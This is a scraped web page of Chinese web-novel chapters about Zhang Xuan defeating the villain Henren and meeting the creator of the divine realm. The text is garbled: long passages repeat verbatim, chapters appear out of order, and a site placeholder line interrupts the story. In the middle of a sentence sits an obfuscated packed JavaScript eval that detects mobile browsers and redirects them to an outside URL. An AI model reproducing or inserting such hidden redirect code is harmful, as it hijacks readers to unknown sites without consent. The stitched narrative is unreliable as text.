“那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209127|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第200章她的出现 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 